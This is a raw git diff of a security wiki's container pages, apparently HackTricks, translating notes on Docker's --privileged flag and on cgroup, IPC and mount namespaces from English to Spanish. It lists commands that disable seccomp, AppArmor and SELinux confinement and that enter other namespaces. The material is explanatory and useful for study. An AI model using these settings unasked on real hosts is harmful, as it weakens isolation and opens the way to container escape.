Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
[...] [...]
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="Inside Privileged Container"}} {{#tab name="Dentro del Contenedor Privilegiado"}}
```bash ```bash
# docker run --rm --privileged -it alpine sh # docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print apk add -U libcap; capsh --print
@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
[...] [...]
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags. Puedes manipular las capacidades disponibles para un contenedor sin ejecutar en modo `--privileged` utilizando las banderas `--cap-add` y `--cap-drop`.
### Seccomp ### Seccomp
**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here: **Seccomp** es útil para **limitar** las **syscalls** que un contenedor puede llamar. Un perfil de seccomp predeterminado está habilitado por defecto al ejecutar contenedores de docker, pero en modo privilegiado está deshabilitado. Aprende más sobre Seccomp aquí:
{{#ref}} {{#ref}}
seccomp.md seccomp.md
@ -142,100 +126,86 @@ seccomp.md
{{#tabs}} {{#tabs}}
{{#tab name="Inside default container"}} {{#tab name="Inside default container"}}
```bash ```bash
# docker run --rm -it alpine sh # docker run --rm -it alpine sh
grep Seccomp /proc/1/status grep Seccomp /proc/1/status
Seccomp: 2 Seccomp: 2
Seccomp_filters: 1 Seccomp_filters: 1
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="Inside Privileged Container"}} {{#tab name="Dentro del Contenedor Privilegiado"}}
```bash ```bash
# docker run --rm --privileged -it alpine sh # docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status grep Seccomp /proc/1/status
Seccomp: 0 Seccomp: 0
Seccomp_filters: 0 Seccomp_filters: 0
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
```bash ```bash
# You can manually disable seccomp in docker with # You can manually disable seccomp in docker with
--security-opt seccomp=unconfined --security-opt seccomp=unconfined
``` ```
También, ten en cuenta que cuando se utilizan Docker (u otros CRIs) en un clúster de **Kubernetes**, el **filtro seccomp está deshabilitado por defecto**.
Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default**
### AppArmor ### AppArmor
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled. **AppArmor** es una mejora del núcleo para confinar **contenedores** a un conjunto **limitado** de **recursos** con **perfiles por programa**. Cuando ejecutas con la bandera `--privileged`, esta protección está deshabilitada.
{{#ref}} {{#ref}}
apparmor.md apparmor.md
{{#endref}} {{#endref}}
```bash ```bash
# You can manually disable seccomp in docker with # You can manually disable seccomp in docker with
--security-opt apparmor=unconfined --security-opt apparmor=unconfined
``` ```
### SELinux ### SELinux
Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied. Ejecutar un contenedor con la bandera `--privileged` desactiva **las etiquetas de SELinux**, haciendo que herede la etiqueta del motor de contenedores, típicamente `unconfined`, otorgando acceso completo similar al del motor de contenedores. En modo sin privilegios, utiliza `container_runtime_t`, mientras que en modo root, se aplica `spc_t`.
{{#ref}} {{#ref}}
../selinux.md ../selinux.md
{{#endref}} {{#endref}}
```bash ```bash
# You can manually disable selinux in docker with # You can manually disable selinux in docker with
--security-opt label:disable --security-opt label:disable
``` ```
## Lo Que No Afecta
## What Doesn't Affect ### Espacios de Nombres
### Namespaces Los espacios de nombres **NO se ven afectados** por la bandera `--privileged`. A pesar de que no tienen las restricciones de seguridad habilitadas, **no ven todos los procesos en el sistema o la red del host, por ejemplo**. Los usuarios pueden deshabilitar espacios de nombres individuales utilizando las banderas de los motores de contenedores **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`**.
Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags.
{{#tabs}} {{#tabs}}
{{#tab name="Inside default privileged container"}} {{#tab name="Dentro del contenedor privilegiado por defecto"}}
```bash ```bash
# docker run --rm --privileged -it alpine sh # docker run --rm --privileged -it alpine sh
ps -ef ps -ef
PID USER TIME COMMAND PID USER TIME COMMAND
1 root 0:00 sh 1 root 0:00 sh
18 root 0:00 ps -ef 18 root 0:00 ps -ef
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="Inside --pid=host Container"}} {{#tab name="Dentro del contenedor --pid=host"}}
```bash ```bash
# docker run --rm --privileged --pid=host -it alpine sh # docker run --rm --privileged --pid=host -it alpine sh
ps -ef ps -ef
PID USER TIME COMMAND PID USER TIME COMMAND
1 root 0:03 /sbin/init 1 root 0:03 /sbin/init
2 root 0:00 [kthreadd] 2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs 3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
[...] [...]
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
### User namespace ### Espacio de nombres de usuario
**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges. **Por defecto, los motores de contenedores no utilizan espacios de nombres de usuario, excepto para contenedores sin privilegios**, que los requieren para el montaje del sistema de archivos y el uso de múltiples UIDs. Los espacios de nombres de usuario, integrales para contenedores sin privilegios, no se pueden desactivar y mejoran significativamente la seguridad al restringir privilegios.
## References ## Referencias
- [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) - [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)

View File

@ -2,90 +2,80 @@
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O. Un cgroup namespace es una característica del núcleo de Linux que proporciona **aislamiento de jerarquías de cgroup para procesos que se ejecutan dentro de un namespace**. Los cgroups, abreviatura de **grupos de control**, son una característica del núcleo que permite organizar procesos en grupos jerárquicos para gestionar y hacer cumplir **límites en los recursos del sistema** como CPU, memoria y E/S.
While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces. Aunque los cgroup namespaces no son un tipo de namespace separado como los otros que discutimos anteriormente (PID, mount, network, etc.), están relacionados con el concepto de aislamiento de namespace. **Los cgroup namespaces virtualizan la vista de la jerarquía de cgroup**, de modo que los procesos que se ejecutan dentro de un cgroup namespace tienen una vista diferente de la jerarquía en comparación con los procesos que se ejecutan en el host u otros namespaces.
### How it works: ### Cómo funciona:
1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup. 1. Cuando se crea un nuevo cgroup namespace, **comienza con una vista de la jerarquía de cgroup basada en el cgroup del proceso creador**. Esto significa que los procesos que se ejecutan en el nuevo cgroup namespace solo verán un subconjunto de toda la jerarquía de cgroup, limitado al subárbol de cgroup enraizado en el cgroup del proceso creador.
2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree. 2. Los procesos dentro de un cgroup namespace **verán su propio cgroup como la raíz de la jerarquía**. Esto significa que, desde la perspectiva de los procesos dentro del namespace, su propio cgroup aparece como la raíz, y no pueden ver ni acceder a cgroups fuera de su propio subárbol.
3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves. 3. Los cgroup namespaces no proporcionan directamente aislamiento de recursos; **solo proporcionan aislamiento de la vista de la jerarquía de cgroup**. **El control y aislamiento de recursos aún son aplicados por los subsistemas de cgroup** (por ejemplo, cpu, memoria, etc.) mismos.
For more information about CGroups check: Para más información sobre CGroups consulta:
{{#ref}} {{#ref}}
../cgroups.md ../cgroups.md
{{#endref}} {{#endref}}
## Lab: ## Laboratorio:
### Create different Namespaces ### Crear diferentes Namespaces
#### CLI #### CLI
```bash ```bash
sudo unshare -C [--mount-proc] /bin/bash sudo unshare -C [--mount-proc] /bin/bash
``` ```
Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica de ese espacio de nombres**.
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
<details> <details>
<summary>Error: bash: fork: Cannot allocate memory</summary> <summary>Error: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación:
1. **Problem Explanation**: 1. **Explicación del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado proceso "unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. - El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres.
2. **Consequence**: 2. **Consecuencia**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. - La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falle al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
3. **Solution**: 3. **Solución**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. - Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` mismo se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
</details> </details>
#### Docker #### Docker
```bash ```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
``` ```
### &#x20;Verifica en qué namespace está tu proceso
### &#x20;Check which namespace is your process in
```bash ```bash
ls -l /proc/self/ns/cgroup ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]' lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
``` ```
### Encontrar todos los espacios de nombres CGroup
### Find all CGroup namespaces
```bash ```bash
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace # Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number> sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
``` ```
### Entrar dentro de un namespace CGroup
### Enter inside an CGroup namespace
```bash ```bash
nsenter -C TARGET_PID --pid /bin/bash nsenter -C TARGET_PID --pid /bin/bash
``` ```
Además, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/cgroup`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`). ## Referencias
## References
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -2,83 +2,72 @@
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups. Un namespace IPC (Comunicación entre Procesos) es una característica del núcleo de Linux que proporciona **aislamiento** de objetos IPC de System V, como colas de mensajes, segmentos de memoria compartida y semáforos. Este aislamiento asegura que los procesos en **diferentes namespaces IPC no pueden acceder ni modificar directamente los objetos IPC de los demás**, proporcionando una capa adicional de seguridad y privacidad entre grupos de procesos.
### How it works: ### Cómo funciona:
1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default. 1. Cuando se crea un nuevo namespace IPC, comienza con un **conjunto completamente aislado de objetos IPC de System V**. Esto significa que los procesos que se ejecutan en el nuevo namespace IPC no pueden acceder ni interferir con los objetos IPC en otros namespaces o en el sistema host por defecto.
2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces. 2. Los objetos IPC creados dentro de un namespace son visibles y **accesibles solo para los procesos dentro de ese namespace**. Cada objeto IPC se identifica por una clave única dentro de su namespace. Aunque la clave puede ser idéntica en diferentes namespaces, los objetos en sí están aislados y no pueden ser accedidos entre namespaces.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace. 3. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()` o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWIPC`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a usar los objetos IPC asociados con ese namespace.
## Lab: ## Laboratorio:
### Create different Namespaces ### Crear diferentes Namespaces
#### CLI #### CLI
```bash ```bash
sudo unshare -i [--mount-proc] /bin/bash sudo unshare -i [--mount-proc] /bin/bash
``` ```
Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de montaje tenga una **vista precisa y aislada de la información del proceso específica para ese espacio de nombres**.
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
<details> <details>
<summary>Error: bash: fork: Cannot allocate memory</summary> <summary>Error: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación:
1. **Problem Explanation**: 1. **Explicación del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado "proceso unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. - El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres.
2. **Consequence**: 2. **Consecuencia**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. - La salida de PID 1 en un nuevo espacio de nombres lleva a la limpieza de la bandera `PIDNS_HASH_ADDING`. Esto resulta en que la función `alloc_pid` falle al intentar asignar un nuevo PID al crear un nuevo proceso, produciendo el error "Cannot allocate memory".
3. **Solution**: 3. **Solución**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - El problema se puede resolver utilizando la opción `-f` con `unshare`. Esta opción hace que `unshare` cree un nuevo proceso después de crear el nuevo espacio de nombres de PID.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. - Ejecutar `%unshare -fp /bin/bash%` asegura que el comando `unshare` se convierta en PID 1 en el nuevo espacio de nombres. `/bin/bash` y sus procesos hijos están entonces contenidos de manera segura dentro de este nuevo espacio de nombres, previniendo la salida prematura de PID 1 y permitiendo la asignación normal de PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. Al asegurarte de que `unshare` se ejecute con la bandera `-f`, el nuevo espacio de nombres de PID se mantiene correctamente, permitiendo que `/bin/bash` y sus subprocesos operen sin encontrar el error de asignación de memoria.
</details> </details>
#### Docker #### Docker
```bash ```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
``` ```
### &#x20;Verifica en qué namespace se encuentra tu proceso
### &#x20;Check which namespace is your process in
```bash ```bash
ls -l /proc/self/ns/ipc ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]' lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
``` ```
### Encuentra todos los namespaces IPC
### Find all IPC namespaces
```bash ```bash
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace # Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number> sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
``` ```
### Entrar en un namespace IPC
### Enter inside an IPC namespace
```bash ```bash
nsenter -i TARGET_PID --pid /bin/bash nsenter -i TARGET_PID --pid /bin/bash
``` ```
Además, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y **no puedes** **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/net`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). ### Crear objeto IPC
### Create IPC object
```bash ```bash
# Container # Container
sudo unshare -i /bin/bash sudo unshare -i /bin/bash
@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status
# From the host # From the host
ipcs -m # Nothing is seen ipcs -m # Nothing is seen
``` ```
## Referencias
## References
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -2,70 +2,63 @@
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy. Un mount namespace es una característica del núcleo de Linux que proporciona aislamiento de los puntos de montaje del sistema de archivos vistos por un grupo de procesos. Cada mount namespace tiene su propio conjunto de puntos de montaje del sistema de archivos, y **los cambios en los puntos de montaje en un namespace no afectan a otros namespaces**. Esto significa que los procesos que se ejecutan en diferentes mount namespaces pueden tener diferentes vistas de la jerarquía del sistema de archivos.
Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system. Los mount namespaces son particularmente útiles en la contenedorización, donde cada contenedor debe tener su propio sistema de archivos y configuración, aislados de otros contenedores y del sistema host.
### How it works: ### Cómo funciona:
1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces. 1. Cuando se crea un nuevo mount namespace, se inicializa con una **copia de los puntos de montaje de su namespace padre**. Esto significa que, al momento de la creación, el nuevo namespace comparte la misma vista del sistema de archivos que su padre. Sin embargo, cualquier cambio posterior en los puntos de montaje dentro del namespace no afectará al padre ni a otros namespaces.
2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy. 2. Cuando un proceso modifica un punto de montaje dentro de su namespace, como montar o desmontar un sistema de archivos, el **cambio es local a ese namespace** y no afecta a otros namespaces. Esto permite que cada namespace tenga su propia jerarquía de sistema de archivos independiente.
3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace. 3. Los procesos pueden moverse entre namespaces utilizando la llamada al sistema `setns()`, o crear nuevos namespaces utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWNS`. Cuando un proceso se mueve a un nuevo namespace o crea uno, comenzará a usar los puntos de montaje asociados con ese namespace.
4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points. 4. **Los descriptores de archivo e inodos se comparten entre namespaces**, lo que significa que si un proceso en un namespace tiene un descriptor de archivo abierto que apunta a un archivo, puede **pasar ese descriptor de archivo** a un proceso en otro namespace, y **ambos procesos accederán al mismo archivo**. Sin embargo, la ruta del archivo puede no ser la misma en ambos namespaces debido a las diferencias en los puntos de montaje.
## Lab: ## Laboratorio:
### Create different Namespaces ### Crear diferentes Namespaces
#### CLI #### CLI
```bash ```bash
sudo unshare -m [--mount-proc] /bin/bash sudo unshare -m [--mount-proc] /bin/bash
``` ```
Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de nombres de montaje tenga una **vista precisa y aislada de la información del proceso específica de ese espacio de nombres**.
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
<details> <details>
<summary>Error: bash: fork: Cannot allocate memory</summary> <summary>Error: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: Cuando se ejecuta `unshare` sin la opción `-f`, se encuentra un error debido a la forma en que Linux maneja los nuevos espacios de nombres de PID (ID de Proceso). Los detalles clave y la solución se describen a continuación:
1. **Problem Explanation**: 1. **Explicación del Problema**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - El núcleo de Linux permite a un proceso crear nuevos espacios de nombres utilizando la llamada al sistema `unshare`. Sin embargo, el proceso que inicia la creación de un nuevo espacio de nombres de PID (denominado proceso "unshare") no entra en el nuevo espacio de nombres; solo lo hacen sus procesos hijos.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - Ejecutar `%unshare -p /bin/bash%` inicia `/bin/bash` en el mismo proceso que `unshare`. En consecuencia, `/bin/bash` y sus procesos hijos están en el espacio de nombres de PID original.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. - El primer proceso hijo de `/bin/bash` en el nuevo espacio de nombres se convierte en PID 1. Cuando este proceso sale, desencadena la limpieza del espacio de nombres si no hay otros procesos, ya que PID 1 tiene el papel especial de adoptar procesos huérfanos. El núcleo de Linux deshabilitará entonces la asignación de PID en ese espacio de nombres.
2. **Consequence**: 2. **Consecuencia**:
